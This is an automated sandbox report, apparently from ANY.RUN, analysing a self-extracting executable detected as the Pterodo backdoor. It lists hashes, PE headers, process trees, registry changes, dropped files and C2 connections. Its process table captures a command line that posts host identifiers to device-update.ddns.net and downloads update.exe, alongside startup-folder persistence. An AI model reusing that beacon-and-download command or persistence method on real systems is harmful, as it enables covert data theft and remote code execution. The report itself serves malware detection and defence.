| File name: | 7c95621301d88019b721a246779af9af |
| Full analysis: | https://app.any.run/tasks/71dbe078-24ac-450f-8db9-5180ae2f9a92 |
| Verdict: | Malicious activity |
| Threats: | A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices. |
| Analysis date: | June 19, 2019, 13:29:04 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 7C95621301D88019B721A246779AF9AF |
| SHA1: | 6D1A55D8424BE5FE010CD07B2BC6828E972D4A48 |
| SHA256: | A49EF8ACE27B590AC9B2BE1BD7563987329CFADE45F76E642D7BFA8A3F2F0416 |
| SSDEEP: | 12288:ELO+MJC7MrUB6eNlzsA920FM7eLhYQ8dFRwRqcHw:ELO+M9VksAhG7eFeRw1w |
MALICIOUS
Writes to a start menu file
- cmd.exe (PID: 2084)
Application was dropped or rewritten from another process
- Iclouding.exe (PID: 2296)
- Iclouding.exe (PID: 4076)
- Iclouding.exe (PID: 1380)
- Iclouding.exe (PID: 764)
Connects to CnC server
- Iclouding.exe (PID: 2296)
- Iclouding.exe (PID: 764)
- Iclouding.exe (PID: 1380)
- Iclouding.exe (PID: 4076)
PTERODO was detected
- Iclouding.exe (PID: 764)
- Iclouding.exe (PID: 4076)
- Iclouding.exe (PID: 1380)
- Iclouding.exe (PID: 2296)
SUSPICIOUS
Creates files in the user directory
- cmd.exe (PID: 2084)
Executable content was dropped or overwritten
- cmd.exe (PID: 2084)
- 7c95621301d88019b721a246779af9af.exe (PID: 3384)
- Icloud.exe (PID: 392)
Starts CMD.EXE for commands execution
- 7c95621301d88019b721a246779af9af.exe (PID: 3384)
- Icloud.exe (PID: 392)
- cmd.exe (PID: 2420)
Executes scripts
- cmd.exe (PID: 2084)
Uses TASKKILL.EXE to kill process
- cmd.exe (PID: 2084)
- cmd.exe (PID: 2420)
Uses SYSTEMINFO.EXE to read environment
- cmd.exe (PID: 2420)
Application launched itself
- cmd.exe (PID: 2420)
Uses REG.EXE to modify Windows registry
- cmd.exe (PID: 2388)
- cmd.exe (PID: 2144)
- cmd.exe (PID: 3676)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 Executable MS Visual C++ (generic) (42.2) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (37.3) |
| .dll | | | Win32 Dynamic Link Library (generic) (8.8) |
| .exe | | | Win32 Executable (generic) (6) |
| .exe | | | Generic Win/DOS Executable (2.7) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2007:07:22 04:33:09+02:00 |
| PEType: | PE32 |
| LinkerVersion: | 6 |
| CodeSize: | 74752 |
| InitializedDataSize: | 23040 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x11de6 |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 1.2.0.715 |
| ProductVersionNumber: | 1.2.0.715 |
| FileFlagsMask: | 0x003f |
| FileFlags: | Private build |
| FileOS: | Windows NT 32-bit |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Neutral |
| CharacterSet: | Unicode |
| Comments: | - |
| CompanyName: | Oleg N. Scherbakov |
| FileDescription: | 7z Setup SFX |
| FileVersion: | 1, 2, 0, 715 |
| InternalName: | 7ZSfxNew |
| LegalCopyright: | Copyright © 2005-2007 Oleg N. Scherbakov |
| LegalTrademarks: | - |
| OriginalFileName: | 7ZSfxNew.exe |
| PrivateBuild: | July 14, 2007 |
| ProductName: | 7ZSfxNew |
| ProductVersion: | 1, 2, 0, 715 |
| SpecialBuild: | - |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 22-Jul-2007 02:33:09 |
| Comments: | - |
| CompanyName: | Oleg N. Scherbakov |
| FileDescription: | 7z Setup SFX |
| FileVersion: | 1, 2, 0, 715 |
| InternalName: | 7ZSfxNew |
| LegalCopyright: | Copyright © 2005-2007 Oleg N. Scherbakov |
| LegalTrademarks: | - |
| OriginalFilename: | 7ZSfxNew.exe |
| PrivateBuild: | July 14, 2007 |
| ProductName: | 7ZSfxNew |
| ProductVersion: | 1, 2, 0, 715 |
| SpecialBuild: | - |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000110 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 4 |
| Time date stamp: | 22-Jul-2007 02:33:09 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x0001221E | 0x00012400 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.46928 |
.rdata | 0x00014000 | 0x00003564 | 0x00003600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.51079 |
.data | 0x00018000 | 0x0000176C | 0x00001200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 4.79965 |
.rsrc | 0x0001A000 | 0x00001000 | 0x00000C00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.42805 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.21922 | 695 | UNKNOWN | UNKNOWN | RT_MANIFEST |
2 | 2.92629 | 296 | UNKNOWN | UNKNOWN | RT_ICON |
101 | 2.48851 | 34 | UNKNOWN | UNKNOWN | RT_GROUP_ICON |
Imports
GDI32.dll |
KERNEL32.dll |
MSVCRT.dll |
OLEAUT32.dll |
SHELL32.dll |
USER32.dll |
ole32.dll |
Total processes
81
Monitored processes
43
Malicious processes
8
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 392 | "C:\Users\admin\IcloudSecurity\Icloud.exe" | C:\Users\admin\IcloudSecurity\Icloud.exe | cmd.exe | ||||||||||||
User: admin Company: Oleg N. Scherbakov Integrity Level: MEDIUM Description: 7z Setup SFX Exit code: 0 Version: 1, 2, 0, 715 Modules
| |||||||||||||||
| 584 | taskkill /f /im Iclouding.exe | C:\Windows\system32\taskkill.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 128 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 764 | Iclouding.exe --post-data="versiya=arm_15.08&comp=USER-PC&id=USER-PC_C4BA3647&sysinfo=!FBdr![02]: fe80::a179:b3ff:199:2314+###" "http://device-update.ddns.net" -q -N http://device-update.ddns.net -O update.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.001\Iclouding.exe | cmd.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 1 Modules
| |||||||||||||||
| 856 | timeout /T 25 | C:\Windows\system32\timeout.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: timeout - pauses command processing Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 996 | timeout /T 46 | C:\Windows\system32\timeout.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: timeout - pauses command processing Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1380 | Iclouding.exe --post-data="versiya=arm_15.08&comp=USER-PC&id=USER-PC_C4BA3647&sysinfo=!FBdr![02]: fe80::a179:b3ff:199:2314+###" "http://device-update.ddns.net" -q -N http://device-update.ddns.net -O update.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.001\Iclouding.exe | cmd.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 1 Modules
| |||||||||||||||
| 1532 | Find /I "ProxyUser" | C:\Windows\system32\find.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Find String (grep) Utility Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1672 | timeout /T 1 | C:\Windows\system32\timeout.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: timeout - pauses command processing Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1792 | timeout /T 1 | C:\Windows\system32\timeout.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: timeout - pauses command processing Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1912 | timeout /T 46 | C:\Windows\system32\timeout.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: timeout - pauses command processing Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 195
Read events
1 180
Write events
15
Delete events
0
Modification events
| (PID) Process: | (3384) 7c95621301d88019b721a246779af9af.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (3384) 7c95621301d88019b721a246779af9af.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2084) cmd.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2084) cmd.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (392) Icloud.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (392) Icloud.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (3420) systeminfo.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3420) systeminfo.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\mlang.dll,-4386 |
Value: English (United States) | |||
Executable files
3
Suspicious files
0
Text files
4
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3384 | 7c95621301d88019b721a246779af9af.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\ipad.system | executable | |
MD5:— | SHA256:— | |||
| 3384 | 7c95621301d88019b721a246779af9af.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\iclouds.cmd | text | |
MD5:— | SHA256:— | |||
| 3384 | 7c95621301d88019b721a246779af9af.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\error.vbs | text | |
MD5:— | SHA256:— | |||
| 2084 | cmd.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IcloudSecurity.lnk | lnk | |
MD5:— | SHA256:— | |||
| 392 | Icloud.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.001\Iclouding.exe | executable | |
MD5:834C709455BFEFB9B0E8976BAD13A8F4 | SHA256:8B50E3CA06A22D0BE6A71232B320137C776F80AC3F2C81B7440B43854B8A3BF0 | |||
| 3384 | 7c95621301d88019b721a246779af9af.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\IcloudSecurity.lnk | lnk | |
MD5:— | SHA256:— | |||
| 2084 | cmd.exe | C:\Users\admin\IcloudSecurity\Icloud.exe | executable | |
MD5:— | SHA256:— | |||
| 392 | Icloud.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.001\icloud.cmd | text | |
MD5:— | SHA256:— | |||
| 2420 | cmd.exe | C:\Users\admin\AppData\Local\Temp\7ZipSfx.001\NLTl | text | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
8
TCP/UDP connections
4
DNS requests
4
Threats
16
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
4076 | Iclouding.exe | POST | 405 | 142.93.110.250:80 | http://device-update.ddns.net/ | CA | html | 182 b | malicious |
2296 | Iclouding.exe | POST | 405 | 142.93.110.250:80 | http://device-update.ddns.net/ | CA | html | 182 b | malicious |
2296 | Iclouding.exe | POST | 405 | 142.93.110.250:80 | http://device-update.ddns.net/ | CA | html | 182 b | malicious |
764 | Iclouding.exe | POST | 405 | 142.93.110.250:80 | http://device-update.ddns.net/ | CA | html | 182 b | malicious |
1380 | Iclouding.exe | POST | 405 | 142.93.110.250:80 | http://device-update.ddns.net/ | CA | html | 182 b | malicious |
1380 | Iclouding.exe | POST | 405 | 142.93.110.250:80 | http://device-update.ddns.net/ | CA | html | 182 b | malicious |
4076 | Iclouding.exe | POST | 405 | 142.93.110.250:80 | http://device-update.ddns.net/ | CA | html | 182 b | malicious |
764 | Iclouding.exe | POST | 405 | 142.93.110.250:80 | http://device-update.ddns.net/ | CA | html | 182 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
764 | Iclouding.exe | 142.93.110.250:80 | device-update.ddns.net | — | CA | malicious |
2296 | Iclouding.exe | 142.93.110.250:80 | device-update.ddns.net | — | CA | malicious |
4076 | Iclouding.exe | 142.93.110.250:80 | device-update.ddns.net | — | CA | malicious |
1380 | Iclouding.exe | 142.93.110.250:80 | device-update.ddns.net | — | CA | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
device-update.ddns.net |
| malicious |
Threats
16 ETPRO signatures available at the full report